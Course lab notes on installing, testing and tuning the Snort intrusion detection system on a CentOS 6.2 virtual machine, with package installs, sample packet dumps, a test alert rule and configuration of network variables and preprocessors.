08- Network Intrusion Detection: Snort; Network Miner

Installing Snort

Snort is an open source intrusion detection system available for most major platforms. It can generate alerts when it sees traffic patterns that match its list of signatures. A sequence of malicious traffic that does not match any existing signature will not generate an alert (false negative), while it can also be the case that perfectly legitimate traffic may match a signature and be flagged as malicious (false positive).

Snort generates alerts only for traffic that it collects, so when deploying a snort sensor it is important to know what traffic it will see. In our laboratory class environment, note that VMWare internally uses essentially a hub for network traffic; thus a virtual machine running Snort will see all of the traffic directed to/from either the host or any of the guests running on that physical host.

In these notes, we will install the current version of Snort on our CentOS 6.2 x64 machines. Though this machine is being designed primarily as a sensor, it is possible to install Snort on machines dedicated to other tasks. We also note that Snort can be installed on Windows systems. The installation process is somewhat different, but the configuration is the same.

After seeing the difficulties we had with SELinux on our web server, we wtart by setting SELinux to permissive mode. You probably don’t want to do this on a production system, but this will greatly simplify our installation process. Remember, to so this we edit /etc/selinux/config and making the necessary changes. These changes will take effect only on the next reboot. To make the temporary but immediate change, simply run

[root@tazenda ~]# echo 0 >/selinux/enforce

Before we can install snort, we will need a few packages that we did not install as part of the default image for class. Umm, more than just a few actually. Point the CD/DVD drive to disc 1 of the DVD .iso and run the following command. [Yep- I specified nineteen individual packages on the command line. I bet there is a better way. Shrug.]

[root@tazenda ~]# rpm -ivh 
/media/CentOS_6.2_Final/Packages/gcc-c++-4.4.6-3.el6.x86_64.rpm 
/media/CentOS_6.2_Final/Packages/flex-2.5.35-8.el6.x86_64.rpm 
/media/CentOS_6.2_Final/Packages/bison-2.4.1-5.el6.x86_64.rpm 
/media/CentOS_6.2_Final/Packages/pcre-devel-7.8-3.1.el6.x86_64.rpm 
/media/CentOS_6.2_Final/Packages/zlib-devel-1.2.3-27.el6.x86_64.rpm 
/media/CentOS_6.2_Final/Packages/libtool-2.2.6-15.5.el6.x86_64.rpm  
/media/CentOS_6.2_Final/Packages/mysql-devel-5.1.52-1.el6_0.1.x86_64.rpm 
/media/CentOS_6.2_Final/Packages/postgresql-devel-8.4.9-1.el6_1.1.x86_64.rpm 
/media/CentOS_6.2_Final/Packages/libstdc++-devel-4.4.6-3.el6.x86_64.rpm 
/media/CentOS_6.2_Final/Packages/autoconf-2.63-5.1.el6.noarch.rpm 
/media/CentOS_6.2_Final/Packages/automake-1.11.1-1.2.el6.noarch.rpm 
/media/CentOS_6.2_Final/Packages/openssl-devel-1.0.0-20.el6.x86_64.rpm 
/media/CentOS_6.2_Final/Packages/postgresql-8.4.9-1.el6_1.1.x86_64.rpm 
/media/CentOS_6.2_Final/Packages/postgresql-libs-8.4.9-1.el6_1.1.x86_64.rpm 
/media/CentOS_6.2_Final/Packages/krb5-devel-1.9-22.el6.x86_64.rpm 
/media/CentOS_6.2_Final/Packages/keyutils-libs-devel-1.4-3.el6.x86_64.rpm 
/media/CentOS_6.2_Final/Packages/libselinux-devel-2.0.94-5.2.el6.x86_64.rpm 
/media/CentOS_6.2_Final/Packages/libsepol-devel-2.0.41-4.el6.x86_64.rpm 
/media/CentOS_6.2_Final/Packages/libcom_err-devel-1.41.12-11.el6.x86_64.rpm 
Preparing...                ########################################### [100%]
   1:postgresql-libs        ########################################### [  5%]
   2:autoconf               ########################################### [ 11%]
   3:automake               ########################################### [ 16%]
   4:postgresql             ########################################### [ 21%]
   5:libcom_err-devel       ########################################### [ 26%]
   6:libsepol-devel         ########################################### [ 32%]
   7:libselinux-devel       ########################################### [ 37%]
   8:keyutils-libs-devel    ########################################### [ 42%]
   9:krb5-devel             ########################################### [ 47%]
  10:libstdc++-devel        ########################################### [ 53%]
  11:zlib-devel             ########################################### [ 58%]
  12:openssl-devel          ########################################### [ 63%]
  13:mysql-devel            ########################################### [ 68%]
  14:gcc-c++                ########################################### [ 74%]
  15:postgresql-devel       ########################################### [ 79%]
  16:libtool                ########################################### [ 84%]
  17:pcre-devel             ########################################### [ 89%]
  18:bison                  ########################################### [ 95%]
  19:flex                   ########################################### [100%]

I hope you didn’t think we were finished. We need one more package, but this one comes from disc 2 of the DVD .iso set. Unmount the first, point your VM to the second .iso, and run

[root@tazenda ~]# rpm -ivh /media/CentOS_6.2_Final/Packages
/libpcap-devel-1.0.0-6.20091201git117cb5.el6.x86_64.rpm 
Preparing...                ########################################### [100%]
   1:libpcap-devel          ########################################### [100%]

Next, grab the libdnet (v. 1.12) package, either from the labshare or online. Copy it to a convenient directory (say /usr/local/src), then configure, compile, and install the tool in the usual fashion:

[root@tazenda src]# tar -xzvf ./libdnet-1.12.tgz
[root@tazenda src]# cd libdnet-1.12
[root@tazenda libdnet-1.12]# ./configure 
[root@tazenda libdnet-1.12]# make
[root@tazenda libdnet-1.12]# make install

where the output has been omitted for the sake of brevity.

We repeat this with the daq (v. 2.0.0) package; it is available on the labshare and online.

[root@tazenda src]# tar -xzvf ./daq-2.0.0.tar.gz 
[root@tazenda src]# cd daq-2.0.0
[root@tazenda daq-2.0.0]# ./configure 
[root@tazenda daq-2.0.0]# make
[root@tazenda daq-2.0.0]# make install

Next, grab snort itself (v. 2.9.4.1) either from the labshare or online. Lather, Rinse, Repeat.

[root@tazenda src]# tar -xzvf ./snort-2.9.4.1.tar.gz
[root@tazenda src]# cd snort-2.9.4.1
[root@tazenda snort-2.9.4.1]# ./configure 
[root@tazenda snort-2.9.4.1]# make
[root@tazenda snort-2.9.4.1]# make install

Basic testing

To check that snort is running, let it simply sniff packets and print the TCP/IP headers to the screen:

[root@tazenda ~]# snort -v
Running in packet dump mode

        --== Initializing Snort ==--
Initializing Output Plugins!
pcap DAQ configured to passive.
Acquiring network traffic from "eth0".
Decoding Ethernet

        --== Initialization Complete ==--

   ,,_     -*> Snort!  ff02::c:1900
UDP TTL:1 TOS:0x0 ID:0 IpLen:40 DgmLen:167
Len: 119
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

03/22-17:11:41.224024 10.0.2.1:61750 -> 239.255.255.250:1900
UDP TTL:1 TOS:0x0 ID:6019 IpLen:20 DgmLen:153
Len: 125
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

03/22-17:11:41.224184 fe80::d94a:58f1:a56c:1120:61745 -> ff02::c:1900
UDP TTL:1 TOS:0x0 ID:0 IpLen:40 DgmLen:165
Len: 117
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

03/22-17:11:41.224468 10.0.2.1:61750 -> 239.255.255.250:1900
UDP TTL:1 TOS:0x0 ID:6020 IpLen:20 DgmLen:151
Len: 123
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

03/22-17:11:41.246709 10.0.2.1:17500 -> 10.0.2.255:17500
UDP TTL:128 TOS:0x0 ID:6021 IpLen:20 DgmLen:162
Len: 134
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

03/22-17:11:42.410533 fe80::d94a:58f1:a56c:1120:61745 -> ff02::c:1900
UDP TTL:1 TOS:0x0 ID:0 IpLen:40 DgmLen:194
Len: 146
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

^C
*** Caught Int-Signal
===============================================================================
Run time for packet processing was 4.947988 seconds
Snort processed 6 packets.
Snort ran for 0 days 0 hours 0 minutes 4 seconds
   Pkts/sec:            1
===============================================================================
Packet I/O Totals:
   Received:            6
   Analyzed:            6 (100.000%)
    Dropped:            0 (  0.000%)
   Filtered:            0 (  0.000%)
Outstanding:            0 (  0.000%)
   Injected:            0
===============================================================================
Breakdown by protocol (includes rebuilt packets):
        Eth:            6 (100.000%)
       VLAN:            0 (  0.000%)
        IP4:            3 ( 50.000%)
       Frag:            0 (  0.000%)
       ICMP:            0 (  0.000%)
        UDP:            3 ( 50.000%)
        TCP:            0 (  0.000%)
        IP6:            3 ( 50.000%)
    IP6 Ext:            3 ( 50.000%)
   IP6 Opts:            0 (  0.000%)
      Frag6:            0 (  0.000%)
      ICMP6:            0 (  0.000%)
       UDP6:            3 ( 50.000%)
       TCP6:            0 (  0.000%)
     Teredo:            0 (  0.000%)
    ICMP-IP:            0 (  0.000%)
    IP4/IP4:            0 (  0.000%)
    IP4/IP6:            0 (  0.000%)
    IP6/IP4:            0 (  0.000%)
    IP6/IP6:            0 (  0.000%)
        GRE:            0 (  0.000%)
    GRE Eth:            0 (  0.000%)
   GRE VLAN:            0 (  0.000%)
    GRE IP4:            0 (  0.000%)
    GRE IP6:            0 (  0.000%)
GRE IP6 Ext:            0 (  0.000%)
   GRE PPTP:            0 (  0.000%)
    GRE ARP:            0 (  0.000%)
    GRE IPX:            0 (  0.000%)
   GRE Loop:            0 (  0.000%)
       MPLS:            0 (  0.000%)
        ARP:            0 (  0.000%)
        IPX:            0 (  0.000%)
   Eth Loop:            0 (  0.000%)
   Eth Disc:            0 (  0.000%)
   IP4 Disc:            0 (  0.000%)
   IP6 Disc:            0 (  0.000%)
   TCP Disc:            0 (  0.000%)
   UDP Disc:            0 (  0.000%)
  ICMP Disc:            0 (  0.000%)
All Discard:            0 (  0.000%)
      Other:            0 (  0.000%)
Bad Chk Sum:            0 (  0.000%)
    Bad TTL:            0 (  0.000%)
     S5 G 1:            0 (  0.000%)
     S5 G 2:            0 (  0.000%)
      Total:            6
===============================================================================
Snort exiting

From this listing, you can see that snort picked up some UDP traffic, a mix of UDP and UDP over IP v6. If you are really good, you recognize what you see as Simple Service Discovery; you know this because of the multicast IP addresses (239.255.255.250:1900) and (ff02::c:1900). This snort run was ended with a control-C.

To print the application data, try

[root@tazenda ~]# snort -vd
Running in packet dump mode

        --== Initializing Snort ==--
Initializing Output Plugins!
pcap DAQ configured to passive.
Acquiring network traffic from "eth0".
Decoding Ethernet

        --== Initialization Complete ==--

   ,,_     -*> Snort!  10.0.2.2:53
UDP TTL:128 TOS:0x0 ID:129 IpLen:20 DgmLen:67
Len: 39
00 01 01 00 00 01 00 00 00 00 00 00 01 32 01 32  .............2.2
01 30 02 31 30 07 69 6E 2D 61 64 64 72 04 61 72  .0.10.in-addr.ar
70 61 00 00 0C 00 01                             pa.....

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

03/22-17:21:40.437875 10.0.2.2:53 -> 10.0.2.11:63492
UDP TTL:64 TOS:0x0 ID:7437 IpLen:20 DgmLen:163
Len: 135
00 01 85 80 00 01 00 01 00 02 00 02 01 32 01 32  .............2.2
01 30 02 31 30 07 69 6E 2D 61 64 64 72 04 61 72  .0.10.in-addr.ar
70 61 00 00 0C 00 01 C0 0C 00 0C 00 01 00 00 01  pa..............
2C 00 10 06 61 75 72 6F 72 61 04 63 6F 73 63 02  ,...aurora.cosc.
74 75 00 C0 0E 00 02 00 01 00 00 01 2C 00 0A 07  tu..........,...
73 6F 6C 61 72 69 61 C0 3A C0 0E 00 02 00 01 00  solaria.:.......
00 01 2C 00 02 C0 33 C0 33 00 01 00 01 00 00 01  ..,...3.3.......
2C 00 04 0A 00 02 02 C0 4F 00 01 00 01 00 00 01  ,.......O.......
2C 00 04 0A 00 02 0C                             ,......

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

03/22-17:21:40.438872 10.0.2.11:63493 -> 10.0.2.2:53
UDP TTL:128 TOS:0x0 ID:130 IpLen:20 DgmLen:61
Len: 33
00 02 01 00 00 01 00 00 00 00 00 00 07 73 6F 6C  .............sol
61 72 69 61 04 63 6F 73 63 02 74 75 00 00 01 00  aria.cosc.tu....
01                                               .

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

03/22-17:21:40.439078 10.0.2.2:53 -> 10.0.2.11:63493
UDP TTL:64 TOS:0x0 ID:7438 IpLen:20 DgmLen:128
Len: 100
00 02 85 80 00 01 00 01 00 02 00 01 07 73 6F 6C  .............sol
61 72 69 61 04 63 6F 73 63 02 74 75 00 00 01 00  aria.cosc.tu....
01 C0 0C 00 01 00 01 00 00 01 2C 00 04 0A 00 02  ..........,.....
0C C0 14 00 02 00 01 00 00 01 2C 00 02 C0 0C C0  ..........,.....
14 00 02 00 01 00 00 01 2C 00 09 06 61 75 72 6F  ........,...auro
72 61 C0 14 C0 4B 00 01 00 01 00 00 01 2C 00 04  ra...K.......,..
0A 00 02 02                                      ....

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

03/22-17:21:40.439678 10.0.2.11:63494 -> 10.0.2.2:53
UDP TTL:128 TOS:0x0 ID:131 IpLen:20 DgmLen:61
Len: 33
00 03 01 00 00 01 00 00 00 00 00 00 07 73 6F 6C  .............sol
61 72 69 61 04 63 6F 73 63 02 74 75 00 00 1C 00  aria.cosc.tu....
01                                               .

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

03/22-17:21:40.439827 10.0.2.2:53 -> 10.0.2.11:63494
UDP TTL:64 TOS:0x0 ID:7439 IpLen:20 DgmLen:111
Len: 83
00 03 85 80 00 01 00 00 00 01 00 00 07 73 6F 6C  .............sol
61 72 69 61 04 63 6F 73 63 02 74 75 00 00 1C 00  aria.cosc.tu....
01 C0 14 00 06 00 01 00 00 01 2C 00 26 06 61 75  ..........,.&.au
72 6F 72 61 C0 14 06 73 65 6C 64 6F 6E C0 14 00  rora...seldon...
00 00 08 00 00 01 2C 00 00 00 B4 00 00 07 08 00  ......,.........
00 01 2C                                         ..,

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

^C*** Caught Int-Signal
03/22-17:21:41.970275 10.0.2.1:17500 -> 10.0.2.255:17500
UDP TTL:128 TOS:0x0 ID:6469 IpLen:20 DgmLen:162
Len: 134
7B 22 68 6F 73 74 5F 69 6E 74 22 3A 20 32 37 34  {"host_int": 274
30 36 37 37 34 37 2C 20 22 76 65 72 73 69 6F 6E  067747, "version
22 3A 20 5B 31 2C 20 38 5D 2C 20 22 64 69 73 70  ": [1, 8], "disp
6C 61 79 6E 61 6D 65 22 3A 20 22 32 37 34 30 36  layname": "27406
37 37 34 37 22 2C 20 22 70 6F 72 74 22 3A 20 31  7747", "port": 1
37 35 30 30 2C 20 22 6E 61 6D 65 73 70 61 63 65  7500, "namespace
73 22 3A 20 5B 32 34 36 31 32 32 35 36 30 2C 20  s": [246122560, 
32 34 33 32 32 39 37 39 34 2C 20 31 34 36 32 32  243229794, 14622
32 38 35 39 5D 7D                                2859]}

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

===============================================================================
Run time for packet processing was 2.994749 seconds
Snort processed 7 packets.
Snort ran for 0 days 0 hours 0 minutes 2 seconds
   Pkts/sec:            3
===============================================================================
Packet I/O Totals:
   Received:            7
   Analyzed:            7 (100.000%)
    Dropped:            0 (  0.000%)
   Filtered:            0 (  0.000%)
Outstanding:            0 (  0.000%)
   Injected:            0
===============================================================================
Breakdown by protocol (includes rebuilt packets):
        Eth:            7 (100.000%)
       VLAN:            0 (  0.000%)
        IP4:            7 (100.000%)
       Frag:            0 (  0.000%)
       ICMP:            0 (  0.000%)
        UDP:            7 (100.000%)
        TCP:            0 (  0.000%)
        IP6:            0 (  0.000%)
    IP6 Ext:            0 (  0.000%)
   IP6 Opts:            0 (  0.000%)
      Frag6:            0 (  0.000%)
      ICMP6:            0 (  0.000%)
       UDP6:            0 (  0.000%)
       TCP6:            0 (  0.000%)
     Teredo:            0 (  0.000%)
    ICMP-IP:            0 (  0.000%)
    IP4/IP4:            0 (  0.000%)
    IP4/IP6:            0 (  0.000%)
    IP6/IP4:            0 (  0.000%)
    IP6/IP6:            0 (  0.000%)
        GRE:            0 (  0.000%)
    GRE Eth:            0 (  0.000%)
   GRE VLAN:            0 (  0.000%)
    GRE IP4:            0 (  0.000%)
    GRE IP6:            0 (  0.000%)
GRE IP6 Ext:            0 (  0.000%)
   GRE PPTP:            0 (  0.000%)
    GRE ARP:            0 (  0.000%)
    GRE IPX:            0 (  0.000%)
   GRE Loop:            0 (  0.000%)
       MPLS:            0 (  0.000%)
        ARP:            0 (  0.000%)
        IPX:            0 (  0.000%)
   Eth Loop:            0 (  0.000%)
   Eth Disc:            0 (  0.000%)
   IP4 Disc:            0 (  0.000%)
   IP6 Disc:            0 (  0.000%)
   TCP Disc:            0 (  0.000%)
   UDP Disc:            0 (  0.000%)
  ICMP Disc:            0 (  0.000%)
All Discard:            0 (  0.000%)
      Other:            0 (  0.000%)
Bad Chk Sum:            0 (  0.000%)
    Bad TTL:            0 (  0.000%)
     S5 G 1:            0 (  0.000%)
     S5 G 2:            0 (  0.000%)
      Total:            7
===============================================================================
Snort exiting

Here we see seven packets fly by; we recognize most of them as a standard DNS query. The seventh and last packet is a DropBox broadcast packet looking for other local DropBox server. Yep- I use DropBox.

To print even more information, try

[root@tazenda etc]#  snort -vde

Rather than printing the data to the screen, we can log the packets as they go by. Create a directory named log in the current directory and run instead

[root@tazenda ~]# snort -dev -l ./log/

You can, of course, replace the name of the directory with any other name; you can specify the directory name absolutely or relatively (as we have done).

Let snort run for a while, then stop it. The resulting file in the log directory is not a text file, but rather is a packet dump. This can then be opened in e.g. Wireshark to view the traffic. Would this be a better approach to logging packet data during an exercise? Why or why not?

For a complete list of command line switches and their significance, see /usr/local/share/doc/snort/README

Set up the IDS Environment

We want to do more than simply run snort as a command line packet sniffer; we want snort to run as a service under its own user. First we set up the directories we will use to hold the configuration files and the log files:

[root@tazenda ~]# mkdir /etc/snort
[root@tazenda ~]# mkdir /var/log/snort
[root@tazenda ~]# touch /var/log/snort/alert

Create a user and group to run our service; we are sure to create these as system accounts (-r) that do not allow the account to log in (-s /sbin/nologin)

[root@tazenda ~]# groupadd snort
[root@tazenda ~]# useradd -r -g snort -s /sbin/nologin snort

Verify that the user and group is correctly created by checking /etc/group, /etc/passwd, and /etc/shadow.

Set the permissions on the log directories & files

[root@tazenda ~]# chown snort:snort /var/log/snort/
[root@tazenda ~]# chown snort:snort /var/log/snort/alert 
[root@tazenda ~]# chmod 600 /var/log/snort/alert 

Rule Installation

Before we can use snort as an intrusion detection system, we need to install an appropriate rule set. Snort provides two sets of rules, one is for paid subscribers the second for registered users. The rule set for registered users is a 30-day delayed feed of the rules provided to subscribers. Snort rules are provided under a license that prohibits their commercial re-use; see https://www.snort.org/vrt/license-agreement/ for the complete details.

Grab the rules set, and drop it in the /etc/snort directory created earlier

[root@tazenda ~]# tar -xzvf ./snortrules-snapshot-2940.tar.gz -C /etc/snort/

The contents of the /etc/snort/etc directory need to be moved into /etc/snort.

[root@tazenda ~]# cp /etc/snort/etc/* /etc/snort/

Many of the rules in snort are provided in a plan text format- this makes them easy to read and modify. However, some rules are provided as precompiled shared objects (.so files). We need to move these files to the location the snort binary wants to find them.

[root@tazenda ~]# mkdir /usr/local/lib/snort_dynamicrules
[root@tazenda ~]# cp /etc/snort/so_rules/precompiled/RHEL-6-0/
x86-64/2.9.4.0/*.so /usr/local/lib/snort_dynamicrules/
[root@tazenda ~]# cat /etc/snort/so_rules/*.rules
>> /etc/snort/rules/so-rules.rules

Starting Snort as an Intrusion Detection System

Now modify the snort.conf file so that snort will know where to find the required rules. Lines 104-106 of that file should become

var RULE_PATH /etc/snort/rules
var SO_RULE_PATH /etc/snort/so_rules
var PREPROC_RULE_PATH /etc/snort/preproc_rules

Further, the default snort.conf file uses a reputation preprocessor that requires additional rules for its use. Since we are still testing the install, we comment out lines 506-511 that relate to this preprocessor:

# Reputation preprocessor. For more information see README.reputation
#preprocessor reputation: \
#   memcap 500, \
#   priority whitelist, \
#   nested_ip inner, \
#   whitelist $WHITE_LIST_PATH/white_list.rules, \
#   blacklist $BLACK_LIST_PATH/black_list.rules

Verify that your installation is correct so far by running

[root@tazenda ~]# snort -c /etc/snort/snort.conf 

You should see snort start without errors. If you also check /var/log/messages, you should see your interface eth0 enter promiscuous mode.

Mar 22 17:53:17 tazenda kernel: device eth0 entered promiscuous mode

At this point, we know it is running, but we don’t know if it is working. Next, we create a simple rule that will fire off whenever we visit a web page; this way we can be sure that snort is reading our data correctly.

Open the file /etc/snort/rules/local.rules in a text editor, and add the following line:

alert tcp any any <> any 80 (msg: "Web Testing Rule"; sid:1000001;)

This tells snort to fire off an alert on any TCP packet from any IP and any source port sent to any IP with destination port 80; if it sees such a packet it should include the message "Web Testing Rule", it will refer to this rule through its ID, namely 1000001 which is in the range for user generated rules.

We need to restart snort for the rule changes to take effect, so kill your running snort process and start it again as above. Then visiting a web page like Google will start to fill up /var/log/snort/alert with messages like

[**] [1:1000001:0] Web Testing Rule [**]
[Priority: 0] 
03/22-17:55:46.033057 10.0.2.2:44885 -> 74.125.226.207:80
TCP TTL:64 TOS:0x0 ID:2510 IpLen:20 DgmLen:40 DF
***A**** Seq: 0xAFF26C1A  Ack: 0x3EEAE04D  Win: 0xF5C8  TcpLen: 20

[**] [1:1000001:0] Web Testing Rule [**]
[Priority: 0] 
03/22-17:55:46.033221 173.194.75.105:80 -> 10.0.2.2:33935
TCP TTL:128 TOS:0x0 ID:20845 IpLen:20 DgmLen:1391
***AP*** Seq: 0x27816937  Ack: 0x5A568172  Win: 0xFAF0  TcpLen: 20

Now we want snort to run as a service, so we copy the startup script from the installation directory to /etc/init.d and give in the right permissions:

[root@tazenda ~]# cp /usr/local/src/snort-2.9.4.1/rpm/snortd /etc/init.d/
[root@tazenda ~]# chmod a+x /etc/init.d/snortd 

That script looks for snort in /usr/sbin/snort, so lets provide the necessary link:

[root@tazenda ~]# ln -s /usr/local/bin/snort /usr/sbin/snort

Next, we copy over the configuration file from the installation directory to /etc/sysconfig

[root@tazenda ~]# cp /usr/local/src/snort-2.9.4.1/rpm/snort.sysconfig /etc/sysconfig/snort

Finally, we manually set up snort to start automatically (in modes 3 and 5) and to shutdown cleanly (in modes 0 and 6):

[root@tazenda ~]# ln -s /etc/init.d/snortd /etc/rc3.d/S99snortd
[root@tazenda ~]# ln -s /etc/init.d/snortd /etc/rc5.d/S99snortd
[root@tazenda ~]# ln -s /etc/init.d/snortd /etc/rc0.d/K99snortd
[root@tazenda ~]# ln -s /etc/init.d/snortd /etc/rc6.d/K99snortd

Now you can start snort in the usual fashion for a service

[root@tazenda ~]# /etc/init.d/snortd start
Starting snort: Spawning daemon child...
My daemon child 31435 lives...
Daemon parent exiting (0)
                                                           [  OK  ]

Note however, that snort can throw errors that the initialization script will not catch; you may end up with the happy green [ OK ] but snort might not have started correctly. Always be sure to take a look at /var/log/messages to be sure everything started correctly. You should see something like

Mar 22 18:02:35 tazenda snort[31435]:         --== Initialization Complete ==--
Mar 22 18:02:35 tazenda snort[31435]: Commencing packet processing (pid=31435)

in your logs indicating a successful startup.

Examining /etc/sysconfig/snort, we see that the configuration file /etc/snort/snort.conf is specified on line 30, while the user and group snort will run under is specified in lines 37-38. The location of the log files is specified on line 59. Note also that line 15 specifies that snort will listen only on eth0; if you copied your virtual machine and did not correctly update the system settings so that you no longer have an eth0, well, you won’t be seeing much traffic.

At this point, the snort should be running correctly (test it!) and will start on system boot. Note that there can be a lag of a minute or two between when snort detects alerts and when they appear in the file /var/log/snort/alert.

Tuning Snort

Running snort is more complex than simply getting the program to run however. Snort, like all intrusion detection systems must be tuned- this will reduce the number of false positives the system generates as well as ensure that traffic is being analyzed correctly. All of these changes will need to be made in /etc/snort.conf.

Lines 45-96 describe your network, and should be modified appropriately. The variable HOME_NET (line 45) is used to determine which machines you are protecting. Being precise with this variable will help reduce the number of false positives.

To add a single address, simply enter the IP

ipvar HOME_NET 10.0.2.18

To specify a collection of addresses, list them and enclose them in square brackets, without spaces

ipvar HOME_NET [10.0.2.18,10.0.2.2]

To specify a range, use CIDR notation

ipvar HOME_NET 10.0.2.0/24

Ranges can be included in lists

ipvar HOME_NET [10.0.1.0/24,10.0.2.0/24]

The EXTERNAL_NET (is the list of machines that are considered to be external to your network. Again, precision will reduce the number of false positives.

To negate a value, precede it by an exclamation point:

ipvar EXTERNAL_NET !10.0.2.0/24

Variables can be included, provided they are preceded by a dollar sign

ipvar EXTERNAL_NET !$HOME_NET

Most remaining network variables are self-explanatory. Remember- precision here will reduce false positives, but errors will allow potential intrusions to go undetected.

There is no point to specifying https ports for the HTTP_PORTS variable, as that data would be encrypted.

The variable SHELLCODE_PORTS is used to specify which port(s) should be examined for the presence of a NOP sled, which may indicate the use of shellcode.

SIP servers are used for Internet telephony.

GTP is a tunneling protocol to carry radio data (e.g. 3G, LTE) over IP.

AIM refers to the AOL instant messaging service; the IP ranges listed are AOL servers.

Lines 104-106 specify the location of your snort rules; we have already modified these to match our installation.

Lines 120-145 specify how snort will respond to TCP packets that may be malformed. You can leave these variables alone. Details of this process are found in /usr/local/src/snort-2.9.4.1/doc/README.decode. When snort encounters a packet, it is first decoded; as part of that process it looks at checksums and the like for evidence that the packet is malformed. If it finds a malformed packet, snort can then raise an alert.

Alerts can be raised for malformed packets altogether, for bad IP options, for bad TCP options, for bad T/TCP options (c.f. RFC 1644) and for various combinations. See the documentation for details. We should not need to make any changes in this section.

Line 148 configures the maximum number of flowbits. These are a way for snort to relate the contents of one packet to another. A rule can see a particular pattern in a packet, and then set a flowbit. If another rule sees a different pattern and if the flowbit is set, then the second rule can fire an alert. Do not simply uncomment the line however, as the community ruleset provided actually required 140 flowbits- more than the 64 specified in the configuration file. This can be left in its default state.

Line 155 would be used to configure the use of snort as an active responder. If snort is inline- between the traffic’s source and destination, snort can be used to modify the traffic or even reset the connection. However, we did not enable this feature when we compiled snort, and so for us it can be ignored.

Further, because we do not plan on using snort inline, we can also ignore the DAQ options for inline operations (lines 159-167).

The UID and GID for snort to run as were specified in /etc/sysconfig/snort, so we can ignore lines 171-172. Notice that if you run a ps aux command, you can see that the user & group for snort were specified on the command line

[root@tazenda ~]# ps aux | grep snort
snort     3041  0.1 19.8 578860 202472 ?       Ssl  07:13   0:00 /usr/sbin/snort 
-A fast -b -d -D -i eth0 -u snort -g snort -c /etc/snort/snort.conf -l 
/var/log/snort
root      3045  0.0  0.0 103300   848 pts/0    S+   07:13   0:00 grep snort

The section “Configure PCRE match limitations” (lines 194-195) provide the limits on the use of regular expressions; see the snort manual, p. 38. There is no need to modify these values.

The section “Configure the detection engine” (line 198) determines the algorithm snort uses for pattern matching; see the snort manual, pp. 33-36. There is no need to modify this variable. There is also no need to modify the value for the event queue (line 201), which is described in the snort manual on p. 37.

Since we will not be using GTP, that section (line 208) can be ignored and left commented out.

We can also pass over the technical configuration directives for latency, perf, and protocol aware flushing.

Section 4, lines 242-253 give the path to the various snort libraries. You may recall earlier that we moved the dynamic rule shared objects to the directory /usr/local/lib/snort_dynamicrules/; the configuration directive on line 253 now makes the rationale for that choice clear.

Lines 260-269 in Section 5 cover the preprocessor for GTP and more configuration for snort in an inline configuration. Since neither apply to use, they can be ignored; indeed lines 265-269 can even be commented out.

Lines 272-273 configure the frag3 preprocessor. One approach to evading an intrusion detection system is to fragment the packets. Individually the different fragments may be inoffensive, but when reassembled they are malicious.

Different operating systems may reassemble fragmented packets in different ways; this is especially the case when the fragmented packets are malformed. This preprocessor reassembles fragmented packets so that they can be evaluated. See the snort manual, pp. 40-43 for details.

Notice that the default policy here is to assume that all targets are windows based systems. Suppose that most of the systems in our network are linux systems, but we have windows systems at 10.0.2.7 and 10.0.2.11. We should replace the frag3_engine directive with

preprocessor frag3_engine: bind_to [10.0.2.7,10.0.2.11], policy windows 
detect_anomalies overlap_limit 10 min_fragment_length 100 timeout 180 
preprocessor frag3_engine: policy linux detect_anomalies overlap_limit 10 
min_fragment_length 100 timeout 180

Here we have specified the Windows policy only applied to the Windows machines. Since the second directive does not specify an IP range, it would be applied to any IP address not already matched.

Lines 200-209 configure the stream5 preprocessor. This reassembles both TCP and UDP streams for subsequent analysis. See the snort manual, pp. 43-48 for details.

Notice that the TCP reassembly process does depend on the underlying OS; the default rule (line 283) in /etc/snort/snort.conf specifies that snort should use the same rules that windows does for reassembly. If we continue to suppose that most of our network is linux with just two windows machines, we might try using a bind_to directive as we did with the frag3 preprocessor. However, stream5_tcp will not accept a list of IP addresses, attempt to do so, and you will get an error in your logs:

Mar 23 07:42:04 tazenda snort[3410]: FATAL ERROR: /etc/snort/snort.conf(283) =>
Invalid Stream5 TCP Policy option.  IP lists are not allowed.

If the individual systems are not grouped in CIDR ranges, then you can simply use multiple directives:

preprocessor stream5_tcp: bind_to 10.0.2.7, policy windows, 
detect_anomalies, require_3whs 180, overlap_limit 10, small_segments 3 
bytes 150, timeout 180
preprocessor stream5_tcp: bind_to 10.0.2.11, policy windows, 
detect_anomalies, require_3whs 180, overlap_limit 10, small_segments 3 
bytes 150, timeout 180 
preprocessor stream5_tcp: policy linux, detect_anomalies, require_3whs 180, 
overlap_limit 10, small_segments 3 bytes 150, timeout 180

Note also the the default rule provided a list of ports on which the TCP reassembly is performed. If you are running a service on a nonstandard port- like splunk or TCP syslog, and you want to specify the monitored ports, then you should be sure that your port(s) are on your list.

